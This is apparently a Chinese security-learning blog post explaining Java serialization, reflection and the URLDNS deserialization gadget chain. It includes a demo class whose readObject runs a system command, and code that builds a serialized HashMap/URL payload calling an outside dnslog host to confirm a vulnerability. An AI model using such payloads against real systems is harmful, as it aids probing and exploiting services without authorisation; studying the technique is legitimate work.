【JAVA反序列化】序列化与反序列化&Java反射&URLDNS链

原生序列化与反序列化

• 序列化：JAVA对象转换成字节序列的过程；将数据分解为字节流，以便存储在文件中或在网络上传输；用一个字节序列表示一个对象，该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后，相当于可以持久保存了一个对象信息，这过程叫做序列化。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中。序列化对象会通过ObjectOutputStream的writeObject方法将一个对象写入到文件中
• 反序列化：字节序列恢复成JAVA对象的过程；打开字节流并重构对象，反序列化是使用了readObject 方法进行读取并还原成在序列化前的一个类

概述

为什么需要序列化和反序列化？

• 当两个进程进行远程通讯时需要Java序列化与反序列化(可以相互发送各种数据，包括文本、图片、音频、视频等)
• 发送方需要把这个Java对象转换成字节序列(二进制序列的形式)，然后在网络上传送，另一方面，接收方需要从字节序列中恢复出Java对象

应用场景(涉及到将对象转换成二进制，序列化保证了能够成功读取到保存的对象)

• 想把内存中的对象保存到一个文件中或者数据库中时候
• 想用套接字在网络上传送对象的时候
• 想通过RMI传送对象的时候

涉及的协议

• XML&SOAP：XMl是一种常用的序列化与反序列化协议，具有跨机器、跨语言等优点，SOAP(Simple Object Access
  Protocol)是一种被广泛应用的，基于XML为序列化和反序列化的结构化消息传递协议
• JSON(JavaScript Object Notation)
• Protobuf：Protobuf是Google开发的一种二进制序列化协议。它使用结构化的消息定义语言来定义数据结构，并提供了高效的序列化和反序列化功能。Protobuf通常用于高性能和高效的数据传输，适用于大规模的数据交换和存储

好处

• 实现数据的持久化，通过序列化可以吧数据永久地保存到硬盘上(通常存放在文件里)
• 利用序列化实现远程通信，即在网络上传送对象的字节序列

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列

为什么会产生反序列化漏洞？

只要服务的反序列化数据，客户端传递类的readObject中的戴拿会自动执行，给予攻击者在服务器上运行代码的能力

可能反序列化的形式？

1. 入口类的readObject直接调用危险方法
2. 入口类参数中包含可控类，该类有危险方法readObject师调用
3. 入口类参数中包含可控类，该类有调用其他有危险方法的类，readObject时调用
4. 构造函数/静态代码块等类加载时隐式执行

共同条件

• 入口类 source(重新readObject 调用常见函数 参数类型宽泛 最后jdk自带)
• 调用链 gadget chain 相同名称 相同类型
• 执行类sink (rce ssrf写文件等等)

代码演示

定义常规Person类 需要实现Serializable接口(空接口 无抽象方法 用于标记类型，表示Person对象属于特定的类型或具有特定的特征(可序列化的类))

Person类中含有执行系统命令的方法

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

这里模拟类恶意反序列化对象：假如反序列化的数据是可控的
该方法在反序列化过程中被调用，并且假设使用了默认的反序列化逻辑 ois.defaultReadObject()。然后，它使用 Runtime.getRuntime().exec(“calc”) 执行了一个命令

对Person对象进行序列化处理

public class serialize{
    public static void serializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));	//创建一个 ObjectOutputStream 对象 oos，接受一个 FileOutputStream 对象作为参数，用于指定序列化数据的输出文件。
        oos.writeObject(obj);	//调用 oos.writeObject(obj) 方法，将传入的对象 obj 进行序列化，并将序列化后的数据写入到文件中。
    }
    public static void main(String[] args) throws IOException {
        Person person = new Person("admin",21);
        System.out.println(person);
        serializeTest(person);
    }
}

Person{username=‘admin’, age=21}是序列化前的Person对象输出

对Person对象进行反序列化

public class unserialize {
    public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));//创建一个 ObjectInputStream 对象 ois，接受一个 FileInputStream 对象作为参数，用于指定从文件中读取序列化数据。
        Object obj = ois.readObject();//调用 ois.readObject() 方法，从文件中读取序列化的对象，并将其赋值给 Object 类型的变量 obj
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person person = (Person)unserializeTest("ser.bin");
        System.out.println(person);
    }
}

反序列化后执行系统命令

Java反射

是指在运行时去获取一个类的变量和方法信息。然后通过获取到的信息来创建对象，调用方法的一种机制。由于这种动态性，可以极大的增强程序的灵活性，程序不用在编译期就完成确定，在运行期仍然可以扩展
让java具有动态性 修改已有对象的属性 动态生成对象 动态调用方法 操作内部类和私有方法

在反序列化漏洞中的应用

• 定制需要的对象
• 通过invoke调用除了同名函数之外的函数
• 通过Class类创建对象，引入不能序列化的类

基础补充

获取Class类对象的三种方式

//调用对象的getClass()方法，返回该对象所属类对应的Class对象
//使用Class类中的静态方法forName(String className)
//使用类的class属性来获取该类对应的Class对象
        Person person = new Person();
        //反射就是操作Class
        Class<? extends Person> c = person.getClass();	//对象名.getClass()方法
        Class<?> c1 = Class.forName("top.whgojp.domain.Person"); //Class.forName(全类名)方法
        Class<Person> c2 = Person.class;	//类名.class属性

Class类获取构造方法对象的方法

方法名	说明
Constructor[] getConstructors()	返回所有公共构造方法对象的数组
Constructor[] getDeclaredConstructors()	返回所有构造方法对象的数组
Constructor getConstructor(Class… parameterTypes)	返回单个公共构造方法对象
Constructor getDeclaredConstructor(Class… parameterTypes)	返回单个构造方法对象

Constructor类用于创建对象的方法

方法名	说明
T newInstance(Object…initargs)	根据指定的构造方法创建对象

Class类获取成员变量对象的方法

方法名	说明
Field[] getFields()	返回所有公共成员变量对象的数组
Field[] getDeclaredFields()	返回所有成员变量对象的数组
Field getField(String name)	返回单个公共成员变量对象
Field getDeclaredField(String name)	返回单个成员变量对象

Field类用于给成员变量赋值的方法

方法名	说明
voidset(Object obj,Object value)	给obj对象的成员变量赋值为value

Class类获取成员方法对象的方法

方法名	说明
Method[] getMethods()	返回所有公共成员方法对象的数组，包括继承的
Method[] getDeclaredMethods()	返回所有成员方法对象的数组，不包括继承的
Method getMethod(String name, Class… parameterTypes)	返回单个公共成员方法对象
Method getDeclaredMethod(String name, Class… parameterTypes)	返回单个成员方法对象

Method类用于执行方法的方法

方法名	说明
Objectinvoke(Object obj,Object… args)	调用obj对象的成员方法，参数是args,返回值是Object类型

代码演示

    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchFieldException {
//        Person person = new Person();
        //反射就是操作Class
        Class<Person> c2 = Person.class;

        //从原型class里面实例化对象
        Constructor<? extends Person> personconstructor = c2.getConstructor(String.class, int.class);
        Person p = (Person) personconstructor.newInstance("admin",22);
        System.out.println(p);
        //获取类里面属性
        Field agefield = c2.getDeclaredField("age");
        agefield.setAccessible(true);
        agefield.set(p,33);
        System.out.println(p);
        Field usernamefield = c2.getField("username");
        usernamefield.set(p,"whgojp");
        System.out.println(p);
        //调用类里面的方法
        System.out.println("---------------");
        Method test1 = c2.getMethod("test1");
        System.out.println(test1);  //共有方法 无参

        Method test2 = c2.getDeclaredMethod("test2",String.class);
        test2.setAccessible(true);
        test2.invoke(p,"whgojp");
        System.out.println(test2);  //私有方法 并传参
    }

URLDNS链

URLDNS链的利用效果是只能触发一次dns请求，而不能去执行命令。适用于漏洞验证，而且URLDNS这条利用链并不依赖于第三方的类，而是JDK中内置的一些类和方法。
在一些漏洞利用没有回显的时候，我们也可以使用到该链来验证漏洞是否存在

原理

java.util.HashMap实现了Serializable接口，重写了readObject, 在反序列化时会调用hash函数计算key的hashCode，而java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求

序列化原生代码

public class serialize {
    public static void serializeTest(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        //raw 未修改hashCode值，序列化过程中也会触发dnslog请求
/*       URL url = new URL("http://URLDNStest.r8hzba.dnslog.cn");
        hashMap.put(url, 1);*/

        //将url对象的hashcode改为不是-1
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://test.n4p7aw.dnslog.cn");
        Class<? extends URL> c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1234);
        hashMap.put(url, 1);

        //通过反射，改变URL对象属性 hashCode=-1
        hashCodeField.set(url,-1);

        serializeTest(hashMap);
    }
}

实际上正常在序列化过程中，传入dnslog地址也会有数据回显，因为在序列化过程中同时也调用了hashCode(hashCode传入初始值为-1，也会触发dnslog。图中注释部分与前面讲的JAVA反射技术就是为了动态修改url.Class类中初始hashCode的值，使其不为-1，以避免在探测漏洞时产生误报)

反序列化原生代码

由于pom依赖问题，ysoserial未调试成功 emmm……
这里使用的是最原生的反序列化方法

public class unserialize {
    public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(obj);
        return obj;
    }
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unserializeTest("ser.bin");
    }
}

得到序列化对象之后，预期效果是反序列化触发dns请求，用于验证漏洞存在
序列化工具链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

反序列化中hashCode为-1

调用getHostAddress、getHost等网络协议触发dnslog请求

URLDNS链

HashMap.readObject() ->  HashMap.putVal() -> HashMap.hash() 
-> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress
->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName

由于第一次接触反序列化链，未免有些地方写的不对，未完待续……

参考

https://blog.csdn.net/mocas_wang/article/details/107621010
https://www.cnblogs.com/nice0e3/p/13772184.html
https://space.bilibili.com/2142877265